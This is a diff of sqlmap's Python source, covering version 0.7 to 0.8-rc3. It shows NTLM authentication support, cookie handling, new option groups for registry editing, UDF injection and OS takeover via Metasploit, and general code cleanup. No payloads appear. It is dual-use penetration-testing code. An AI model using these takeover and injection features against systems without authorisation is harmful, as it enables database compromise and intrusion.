errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
|
||||
errMsg += "the command line and the following text and send by e-mail "
|
||||
@@ -99,12 +85,12 @@ def unhandledException():
|
||||
errMsg += "Operating system: %s" % PLATFORM
|
||||
return errMsg
|
||||
|
||||
|
||||
exceptionsTuple = (
|
||||
sqlmapConnectionException,
|
||||
sqlmapDataException,
|
||||
sqlmapFilePathException,
|
||||
sqlmapGenericException,
|
||||
sqlmapMissingDependence,
|
||||
sqlmapMissingMandatoryOptionException,
|
||||
sqlmapNoneDataException,
|
||||
sqlmapRegExprException,
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import cookielib
|
||||
import ctypes
|
||||
import difflib
|
||||
@@ -40,6 +38,7 @@ from lib.core.common import getFileType
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import paths
|
||||
from lib.core.common import randomRange
|
||||
from lib.core.common import sanitizeCookie
|
||||
from lib.core.common import sanitizeStr
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
@@ -48,6 +47,7 @@ from lib.core.data import paths
|
||||
from lib.core.datatype import advancedDict
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.exception import sqlmapGenericException
|
||||
from lib.core.exception import sqlmapMissingDependence
|
||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import sqlmapMissingPrivileges
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
@@ -69,11 +69,9 @@ from lib.parse.queriesfile import queriesParser
|
||||
from lib.request.proxy import ProxyHTTPSHandler
|
||||
from lib.utils.google import Google
|
||||
|
||||
|
||||
authHandler = urllib2.BaseHandler()
|
||||
proxyHandler = urllib2.BaseHandler()
|
||||
|
||||
|
||||
def __urllib2Opener():
|
||||
"""
|
||||
This function creates the urllib2 OpenerDirector.
|
||||
@@ -85,12 +83,14 @@ def __urllib2Opener():
|
||||
debugMsg = "creating HTTP requests opener object"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.cj = cookielib.LWPCookieJar()
|
||||
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
|
||||
if conf.dropSetCookie:
|
||||
opener = urllib2.build_opener(proxyHandler, authHandler)
|
||||
else:
|
||||
conf.cj = cookielib.LWPCookieJar()
|
||||
opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
|
||||
|
||||
urllib2.install_opener(opener)
|
||||
|
||||
|
||||
def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||
fp = open(reqFile, "r")
|
||||
|
||||
@@ -172,7 +172,6 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||
kb.targetUrls.add(( url, method, data, cookie ))
|
||||
addedTargetUrls.add(url)
|
||||
|
||||
|
||||
def __setMultipleTargets():
|
||||
"""
|
||||
Define a configuration parameter if we are running in multiple target
|
||||
@@ -217,7 +216,6 @@ def __setMultipleTargets():
|
||||
infoMsg += "testable requests from the targets list"
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
||||
def __setGoogleDorking():
|
||||
"""
|
||||
This function checks if the way to request testable hosts is through
|
||||
@@ -265,7 +263,6 @@ def __setGoogleDorking():
|
||||
errMsg += "have GET parameters to test for SQL injection"
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
|
||||
def __setMetasploit():
|
||||
if not conf.osPwn and not conf.osSmb and not conf.osBof:
|
||||
return
|
||||
@@ -275,7 +272,7 @@ def __setMetasploit():
|
||||
|
||||
msfEnvPathExists = False
|
||||
|
||||
if IS_WIN is True:
|
||||
if IS_WIN:
|
||||
warnMsg = "Metasploit's msfconsole and msfcli are not supported "
|
||||
warnMsg += "on the native Windows Ruby interpreter. Please "
|
||||
warnMsg += "install Metasploit, Python interpreter and sqlmap on "
|
||||
@@ -299,7 +296,7 @@ def __setMetasploit():
|
||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 0:
|
||||
isAdmin = True
|
||||
|
||||
elif IS_WIN is True:
|
||||
elif IS_WIN:
|
||||
isAdmin = ctypes.windll.shell32.IsUserAnAdmin()
|
||||
|
||||
if isinstance(isAdmin, (int, float, long)) and isAdmin == 1:
|
||||
@@ -324,10 +321,10 @@ def __setMetasploit():
|
||||
|
||||
if conf.msfPath:
|
||||
condition = os.path.exists(os.path.normpath(conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfencode" % conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % conf.msfPath))
|
||||
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfcli")))
|
||||
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfconsole")))
|
||||
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfencode")))
|
||||
condition &= os.path.exists(os.path.normpath(os.path.join(conf.msfPath, "msfpayload")))
|
||||
|
||||
if condition:
|
||||
debugMsg = "provided Metasploit Framework 3 path "
|
||||
@@ -348,14 +345,14 @@ def __setMetasploit():
|
||||
warnMsg += "Framework 3 is installed"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if msfEnvPathExists != True:
|
||||
if not msfEnvPathExists:
|
||||
warnMsg = "sqlmap is going to look for Metasploit Framework 3 "
|
||||
warnMsg += "installation into the environment paths"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
envPaths = os.environ["PATH"]
|
||||
|
||||
if IS_WIN is True:
|
||||
if IS_WIN:
|
||||
envPaths = envPaths.split(";")
|
||||
else:
|
||||
envPaths = envPaths.split(":")
|
||||
@@ -363,10 +360,10 @@ def __setMetasploit():
|
||||
for envPath in envPaths:
|
||||
envPath = envPath.replace(";", "")
|
||||
condition = os.path.exists(os.path.normpath(envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfencode" % envPath))
|
||||
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % envPath))
|
||||
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfcli")))
|
||||
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfconsole")))
|
||||
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfencode")))
|
||||
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfpayload")))
|
||||
|
||||
if condition:
|
||||
infoMsg = "Metasploit Framework 3 has been found "
|
||||
@@ -378,12 +375,11 @@ def __setMetasploit():
|
||||
|
||||
break
|
||||
|
||||
if msfEnvPathExists != True:
|
||||
if not msfEnvPathExists:
|
||||
errMsg = "unable to locate Metasploit Framework 3 installation. "
|
||||
errMsg += "Get it from http://metasploit.com/framework/download/"
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
|
||||
def __setWriteFile():
|
||||
if not conf.wFile:
|
||||
return
|
||||
@@ -402,9 +398,8 @@ def __setWriteFile():
|
||||
|
||||
conf.wFileType = getFileType(conf.wFile)
|
||||
|
||||
|
||||
def __setUnionTech():
|
||||
if conf.uTech == None:
|
||||
if conf.uTech is None:
|
||||
conf.uTech = "NULL"
|
||||
|
||||
return
|
||||
@@ -427,7 +422,6 @@ def __setUnionTech():
|
||||
debugMsg += "'%s'" % uTechOriginal
|
||||
logger.debug(debugMsg)
|
||||
|
||||
|
||||
def __setOS():
|
||||
"""
|
||||
Force the back-end DBMS operating system option.
|
||||
@@ -450,7 +444,6 @@ def __setOS():
|
||||
errMsg += "you."
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
|
||||
def __setDBMS():
|
||||
"""
|
||||
Force the back-end DBMS option.
|
||||
@@ -481,12 +474,10 @@ def __setDBMS():
|
||||
errMsg += "fingerprint it for you."
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
|
||||
def __setThreads():
|
||||
if not isinstance(conf.threads, int) or conf.threads <= 0:
|
||||
conf.threads = 1
|
||||
|
||||
|
||||
def __setHTTPProxy():
|
||||
"""
|
||||
Check and set the HTTP proxy to pass by all HTTP requests.
|
||||
@@ -525,10 +516,9 @@ def __setHTTPProxy():
|
||||
else:
|
||||
proxyHandler = urllib2.ProxyHandler({"http": __proxyString})
|
||||
|
||||
|
||||
def __setHTTPAuthentication():
|
||||
"""
|
||||
Check and set the HTTP authentication method (Basic or Digest),
|
||||
Check and set the HTTP authentication method (Basic, Digest or NTLM),
|
||||
username and password to perform HTTP requests with.
|
||||
"""
|
||||
|
||||
@@ -538,29 +528,29 @@ def __setHTTPAuthentication():
|
||||
return
|
||||
|
||||
elif conf.aType and not conf.aCred:
|
||||
errMsg = "you specified the HTTP Authentication type, but "
|
||||
errMsg = "you specified the HTTP authentication type, but "
|
||||
errMsg += "did not provide the credentials"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
elif not conf.aType and conf.aCred:
|
||||
errMsg = "you specified the HTTP Authentication credentials, "
|
||||
errMsg = "you specified the HTTP authentication credentials, "
|
||||
errMsg += "but did not provide the type"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
debugMsg = "setting the HTTP Authentication type and credentials"
|
||||
debugMsg = "setting the HTTP authentication type and credentials"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
aTypeLower = conf.aType.lower()
|
||||
|
||||
if aTypeLower not in ( "basic", "digest" ):
|
||||
errMsg = "HTTP Authentication type value must be "
|
||||
errMsg += "Basic or Digest"
|
||||
if aTypeLower not in ( "basic", "digest", "ntlm" ):
|
||||
errMsg = "HTTP authentication type value must be "
|
||||
errMsg += "Basic, Digest or NTLM"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
|
||||
|
||||
if not aCredRegExp:
|
||||
errMsg = "HTTP Authentication credentials value must be "
|
||||
errMsg = "HTTP authentication credentials value must be "
|
||||
errMsg += "in format username:password"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
@@ -572,9 +562,20 @@ def __setHTTPAuthentication():
|
||||
|
||||
if aTypeLower == "basic":
|
||||
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
|
||||
|
||||
elif aTypeLower == "digest":
|
||||
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
|
||||
|
||||
elif aTypeLower == "ntlm":
|
||||
try:
|
||||
from ntlm import HTTPNtlmAuthHandler
|
||||
except ImportError, _:
|
||||
errMsg = "sqlmap requires Python NTLM third-party library "
|
||||
errMsg += "in order to authenticate via NTLM, "
|
||||
errMsg += "http://code.google.com/p/python-ntlm/"
|
||||
raise sqlmapMissingDependence, errMsg
|
||||
|
||||
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
|
||||
|
||||
def __setHTTPMethod():
|
||||
"""
|
||||
@@ -597,7 +598,6 @@ def __setHTTPMethod():
|
||||
debugMsg = "setting the HTTP method to %s" % conf.method
|
||||
logger.debug(debugMsg)
|
||||
|
||||
|
||||
def __setHTTPExtraHeaders():
|
||||
if conf.hostname:
|
||||
conf.httpHeaders.append(("Host", conf.hostname))
|
||||
@@ -619,7 +619,6 @@ def __setHTTPExtraHeaders():
|
||||
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
|
||||
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
|
||||
|
||||
|
||||
def __defaultHTTPUserAgent():
|
||||
"""
|
||||
@return: default sqlmap HTTP User-Agent header
|
||||
@@ -635,7 +634,6 @@ def __defaultHTTPUserAgent():
|
||||
# updated at March 2009
|
||||
#return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
|
||||
|
||||
|
||||
def __setHTTPUserAgent():
|
||||
"""
|
||||
Set the HTTP User-Agent header.
|
||||
@@ -699,7 +697,6 @@ def __setHTTPUserAgent():
|
||||
logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
|
||||
logger.info(logMsg)
|
||||
|
||||
|
||||
def __setHTTPReferer():
|
||||
"""
|
||||
Set the HTTP Referer
|
||||
@@ -711,7 +708,6 @@ def __setHTTPReferer():
|
||||
|
||||
conf.httpHeaders.append(("Referer", conf.referer))
|
||||
|
||||
|
||||
def __setHTTPCookies():
|
||||
"""
|
||||
Set the HTTP Cookie header
|
||||
@@ -721,10 +717,11 @@ def __setHTTPCookies():
|
||||
debugMsg = "setting the HTTP Cookie header"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.cookie = sanitizeCookie(conf.cookie, True)
|
||||
|
||||
conf.httpHeaders.append(("Connection", "Keep-Alive"))
|
||||
conf.httpHeaders.append(("Cookie", conf.cookie))
|
||||
|
||||
|
||||
def __setHTTPTimeout():
|
||||
"""
|
||||
Set the HTTP timeout
|
||||
@@ -747,7 +744,6 @@ def __setHTTPTimeout():
|
||||
|
||||
socket.setdefaulttimeout(conf.timeout)
|
||||
|
||||
|
||||
def __cleanupOptions():
|
||||
"""
|
||||
Cleanup configuration attributes.
|
||||
@@ -795,7 +791,6 @@ def __cleanupOptions():
|
||||
if conf.googleDork or conf.list:
|
||||
conf.multipleTargets = True
|
||||
|
||||
|
||||
def __setConfAttributes():
|
||||
"""
|
||||
This function set some needed attributes into the configuration
|
||||
@@ -830,7 +825,6 @@ def __setConfAttributes():
|
||||
conf.threadException = False
|
||||
conf.wFileType = None
|
||||
|
||||
|
||||
def __setKnowledgeBaseAttributes():
|
||||
"""
|
||||
This function set some needed attributes into the knowledge base
|
||||
@@ -849,7 +843,7 @@ def __setKnowledgeBaseAttributes():
|
||||
kb.dbmsDetected = False
|
||||
|
||||
# Active (extensive) back-end DBMS fingerprint
|
||||
kb.dbmsVersion = []
|
||||
kb.dbmsVersion = [ "Unknown" ]
|
||||
|
||||
kb.dep = None
|
||||
kb.docRoot = None
|
||||
@@ -861,7 +855,7 @@ def __setKnowledgeBaseAttributes():
|
||||
kb.injType = None
|
||||
|
||||
# Back-end DBMS underlying operating system fingerprint via banner (-b)
|
||||
# parsing or when knowing the OS is mandatory (i.g. dealing with DEP)
|
||||
# parsing
|
||||
kb.os = None
|
||||
kb.osVersion = None
|
||||
kb.osSP = None
|
||||
@@ -875,7 +869,6 @@ def __setKnowledgeBaseAttributes():
|
||||
kb.unionCount = None
|
||||
kb.unionPosition = None
|
||||
|
||||
|
||||
def __saveCmdline():
|
||||
"""
|
||||
Saves the command line options on a sqlmap configuration INI file
|
||||
@@ -905,7 +898,7 @@ def __saveCmdline():
|
||||
optionData.sort()
|
||||
|
||||
for option, value, datatype in optionData:
|
||||
if value == None:
|
||||
if value is None:
|
||||
if datatype == "boolean":
|
||||
value = "False"
|
||||
elif datatype in ( "integer", "float" ):
|
||||
@@ -929,13 +922,12 @@ def __saveCmdline():
|
||||
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
||||
def __setVerbosity():
|
||||
"""
|
||||
This function set the verbosity of sqlmap output messages.
|
||||
"""
|
||||
|
||||
if conf.verbose == None:
|
||||
if conf.verbose is None:
|
||||
conf.verbose = 1
|
||||
|
||||
conf.verbose = int(conf.verbose)
|
||||
@@ -952,7 +944,6 @@ def __setVerbosity():
|
||||
elif conf.verbose >= 4:
|
||||
logger.setLevel(8)
|
||||
|
||||
|
||||
def __mergeOptions(inputOptions):
|
||||
"""
|
||||
Merge command line options with configuration file options.
|
||||
@@ -970,10 +961,9 @@ def __mergeOptions(inputOptions):
|
||||
inputOptionsItems = inputOptions.__dict__.items()
|
||||
|
||||
for key, value in inputOptionsItems:
|
||||
if not conf.has_key(key) or conf[key] == None or value != None:
|
||||
if not conf.has_key(key) or conf[key] is None or value is not None:
|
||||
conf[key] = value
|
||||
|
||||
|
||||
def init(inputOptions=advancedDict()):
|
||||
"""
|
||||
Set attributes into both configuration and knowledge base singletons
|
||||
|
||||
@@ -22,20 +22,19 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
optDict = {
|
||||
# Family: { "parameter_name": "parameter_datatype" },
|
||||
"Target": {
|
||||
"url": "string",
|
||||
"list": "string",
|
||||
"googleDork": "string",
|
||||
"googleDork": "string"
|
||||
},
|
||||
|
||||
"Request": {
|
||||
"method": "string",
|
||||
"data": "string",
|
||||
"cookie": "string",
|
||||
"dropSetCookie": "boolean",
|
||||
"referer": "string",
|
||||
"agent": "string",
|
||||
"userAgentsFile": "string",
|
||||
@@ -45,7 +44,7 @@ optDict = {
|
||||
"proxy": "string",
|
||||
"threads": "integer",
|
||||
"delay": "float",
|
||||
"timeout": "float",
|
||||
"timeout": "float"
|
||||
},
|
||||
|
||||
"Injection": {
|
||||
@@ -57,7 +56,7 @@ optDict = {
|
||||
"string": "string",
|
||||
"regexp": "string",
|
||||
"eString": "string",
|
||||
"eRegexp": "string",
|
||||
"eRegexp": "string"
|
||||
},
|
||||
|
||||
"Techniques": {
|
||||
@@ -65,11 +64,11 @@ optDict = {
|
||||
"timeTest": "boolean",
|
||||
"unionTest": "boolean",
|
||||
"uTech": "string",
|
||||
"unionUse": "boolean",
|
||||
"unionUse": "boolean"
|
||||
},
|
||||
|
||||
"Fingerprint": {
|
||||
"extensiveFp": "boolean",
|
||||
"extensiveFp": "boolean"
|
||||
},
|
||||
|
||||
"Enumeration": {
|
||||
@@ -92,14 +91,21 @@ optDict = {
|
||||
"excludeSysDbs": "boolean",
|
||||
"limitStart": "integer",
|
||||
"limitStop": "integer",
|
||||
"firstChar": "integer",
|
||||
"lastChar": "integer",
|
||||
"query": "string",
|
||||
"sqlShell": "boolean",
|
||||
"sqlShell": "boolean"
|
||||
},
|
||||
|
||||
"User-defined function": {
|
||||
"udfInject": "boolean",
|
||||
"shLib": "string"
|
||||
},
|
||||
|
||||
"File system": {
|
||||
"rFile": "string",
|
||||
"wFile": "string",
|
||||
"dFile": "string",
|
||||
"dFile": "string"
|
||||
},
|
||||
|
||||
"Takeover": {
|
||||
@@ -110,15 +116,26 @@ optDict = {
|
||||
"osBof": "boolean",
|
||||
"privEsc": "boolean",
|
||||
"msfPath": "string",
|
||||
"tmpPath": "string",
|
||||
"tmpPath": "string"
|
||||
},
|
||||
|
||||
"Windows": {
|
||||
"regRead": "boolean",
|
||||
"regAdd": "boolean",
|
||||
"regDel": "boolean",
|
||||
"regKey": "string",
|
||||
"regVal": "string",
|
||||
"regData": "string",
|
||||
"regType": "string"
|
||||
},
|
||||
|
||||
"Miscellaneous": {
|
||||
"eta": "boolean",
|
||||
"verbose": "integer",
|
||||
"updateAll": "boolean",
|
||||
"sessionFile": "string",
|
||||
"eta": "boolean",
|
||||
"googlePage": "integer",
|
||||
"updateAll": "boolean",
|
||||
"batch": "boolean",
|
||||
"cleanup": "boolean",
|
||||
"verbose": "integer"
|
||||
},
|
||||
}
|
||||
|
||||
@@ -22,11 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.common import dataToStdout
|
||||
|
||||
|
||||
class ProgressBar:
|
||||
"""
|
||||
This class defines methods to update and draw a progress bar
|
||||
@@ -42,7 +39,6 @@ class ProgressBar:
|
||||
self.__amount = 0
|
||||
self.update()
|
||||
|
||||
|
||||
def __convertSeconds(self, value):
|
||||
seconds = value
|
||||
minutes = seconds / 60
|
||||
@@ -50,7 +46,6 @@ class ProgressBar:
|
||||
|
||||
return "%.2d:%.2d" % (minutes, seconds)
|
||||
|
||||
|
||||
def update(self, newAmount=0):
|
||||
"""
|
||||
This method updates the progress bar
|
||||
@@ -87,7 +82,6 @@ class ProgressBar:
|
||||
percentString = str(percentDone) + "%"
|
||||
self.__progBar = "%s %s" % (percentString, self.__progBar)
|
||||
|
||||
|
||||
def draw(self, eta=0):
|
||||
"""
|
||||
This method draws the progress bar if it has changed
|
||||
@@ -102,7 +96,6 @@ class ProgressBar:
|
||||
blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
|
||||
dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
|
||||
|
||||
|
||||
def __str__(self):
|
||||
"""
|
||||
This method returns the progress bar string
|
||||
|
||||
@@ -27,15 +27,12 @@ In addition to normal readline stuff, this module provides haveReadline
|
||||
boolean and _outputfile variable used in genutils.
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import sys
|
||||
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import PLATFORM
|
||||
|
||||
|
||||
try:
|
||||
from readline import *
|
||||
import readline as _rl
|
||||
@@ -50,7 +47,7 @@ except ImportError:
|
||||
except ImportError:
|
||||
haveReadline = False
|
||||
|
||||
if IS_WIN is True and haveReadline:
|
||||
if IS_WIN and haveReadline:
|
||||
try:
|
||||
_outputfile=_rl.GetOutputFile()
|
||||
except AttributeError:
|
||||
@@ -79,7 +76,6 @@ if PLATFORM == 'darwin' and haveReadline:
|
||||
|
||||
uses_libedit = True
|
||||
|
||||
|
||||
# the clear_history() function was only introduced in Python 2.4 and is
|
||||
# actually optional in the readline API, so we must explicitly check for its
|
||||
# existence. Some known platforms actually don't have it. This thread:
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import dataToSessionFile
|
||||
@@ -37,7 +35,6 @@ from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
|
||||
|
||||
def setString():
|
||||
"""
|
||||
Save string to match in session file.
|
||||
@@ -51,7 +48,6 @@ def setString():
|
||||
if condition:
|
||||
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
|
||||
|
||||
|
||||
def setRegexp():
|
||||
"""
|
||||
Save regular expression to match in session file.
|
||||
@@ -65,7 +61,6 @@ def setRegexp():
|
||||
if condition:
|
||||
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
|
||||
|
||||
|
||||
def setMatchRatio():
|
||||
condition = (
|
||||
not kb.resumedQueries
|
||||
@@ -76,7 +71,6 @@ def setMatchRatio():
|
||||
if condition:
|
||||
dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio))
|
||||
|
||||
|
||||
def setInjection():
|
||||
"""
|
||||
Save information retrieved about injection place and parameter in the
|
||||
@@ -100,7 +94,6 @@ def setInjection():
|
||||
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
|
||||
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
|
||||
|
||||
|
||||
def setParenthesis(parenthesisCount):
|
||||
"""
|
||||
@param parenthesisCount: number of parenthesis to be set into the
|
||||
@@ -118,7 +111,6 @@ def setParenthesis(parenthesisCount):
|
||||
|
||||
kb.parenthesis = parenthesisCount
|
||||
|
||||
|
||||
def setDbms(dbms):
|
||||
"""
|
||||
@param dbms: database management system to be set into the knowledge
|
||||
@@ -148,7 +140,6 @@ def setDbms(dbms):
|
||||
|
||||
logger.info("the back-end DBMS is %s" % kb.dbms)
|
||||
|
||||
|
||||
def setOs():
|
||||
"""
|
||||
Example of kb.bannerFp dictionary:
|
||||
@@ -187,7 +178,7 @@ def setOs():
|
||||
elif "sp" not in kb.bannerFp and kb.os == "Windows":
|
||||
kb.osSP = 0
|
||||
|
||||
if kb.os and kb.osVersion:
|
||||
if kb.os and kb.osVersion and kb.osSP:
|
||||
infoMsg += " Service Pack %d" % kb.osSP
|
||||
|
||||
if infoMsg:
|
||||
@@ -196,7 +187,6 @@ def setOs():
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))
|
||||
|
||||
|
||||
def setStacked():
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
@@ -209,7 +199,6 @@ def setStacked():
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest))
|
||||
|
||||
|
||||
def setUnion(comment=None, count=None, position=None):
|
||||
"""
|
||||
@param comment: union comment to save in session file
|
||||
@@ -249,7 +238,6 @@ def setUnion(comment=None, count=None, position=None):
|
||||
|
||||
kb.unionPosition = position
|
||||
|
||||
|
||||
def setRemoteTempPath():
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
@@ -259,18 +247,6 @@ def setRemoteTempPath():
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
|
||||
|
||||
|
||||
def setDEP():
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("DEP") )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][DEP][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.dep))
|
||||
|
||||
|
||||
|
||||
def resumeConfKb(expression, url, value):
|
||||
if expression == "String" and url == conf.url:
|
||||
string = value[:-1]
|
||||
@@ -460,10 +436,3 @@ def resumeConfKb(expression, url, value):
|
||||
logMsg = "resuming remote absolute path of temporary "
|
||||
logMsg += "files directory '%s' from session file" % conf.tmpPath
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "DEP" and url == conf.url:
|
||||
kb.dep = value[:-1]
|
||||
|
||||
logMsg = "resuming DEP system policy value '%s' " % kb.dep
|
||||
logMsg += "from session file"
|
||||
logger.info(logMsg)
|
||||
|
||||
@@ -22,15 +22,12 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import logging
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
|
||||
# sqlmap version and site
|
||||
VERSION = "0.7"
|
||||
VERSION = "0.8-rc3"
|
||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||
SITE = "http://sqlmap.sourceforge.net"
|
||||
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import atexit
|
||||
import os
|
||||
import rlcompleter
|
||||
@@ -33,19 +31,16 @@ from lib.core.data import kb
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
|
||||
|
||||
def saveHistory():
|
||||
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
||||
readline.write_history_file(historyPath)
|
||||
|
||||
|
||||
def loadHistory():
|
||||
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
||||
|
||||
if os.path.exists(historyPath):
|
||||
readline.read_history_file(historyPath)
|
||||
|
||||
|
||||
def queriesForAutoCompletion():
|
||||
autoComplQueries = {}
|
||||
|
||||
@@ -61,7 +56,6 @@ def queriesForAutoCompletion():
|
||||
|
||||
return autoComplQueries
|
||||
|
||||
|
||||
class CompleterNG(rlcompleter.Completer):
|
||||
def global_matches(self, text):
|
||||
"""
|
||||
@@ -80,7 +74,6 @@ class CompleterNG(rlcompleter.Completer):
|
||||
|
||||
return matches
|
||||
|
||||
|
||||
def autoCompletion(sqlShell=False, osShell=False):
|
||||
# First of all we check if the readline is available, by default
|
||||
# it is not in Python default installation on Windows
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import errno
|
||||
import os
|
||||
import sys
|
||||
@@ -31,8 +29,7 @@ import time
|
||||
|
||||
from lib.core.settings import IS_WIN
|
||||
|
||||
|
||||
if IS_WIN is not True:
|
||||
if not IS_WIN:
|
||||
import fcntl
|
||||
|
||||
if (sys.hexversion >> 16) >= 0x202:
|
||||
@@ -40,7 +37,6 @@ if IS_WIN is not True:
|
||||
else:
|
||||
import FCNTL
|
||||
|
||||
|
||||
def blockingReadFromFD(fd):
|
||||
# Quick twist around original Twisted function
|
||||
# Blocking read from a non-blocking file descriptor
|
||||
@@ -64,7 +60,6 @@ def blockingReadFromFD(fd):
|
||||
|
||||
return output
|
||||
|
||||
|
||||
def blockingWriteToFD(fd, data):
|
||||
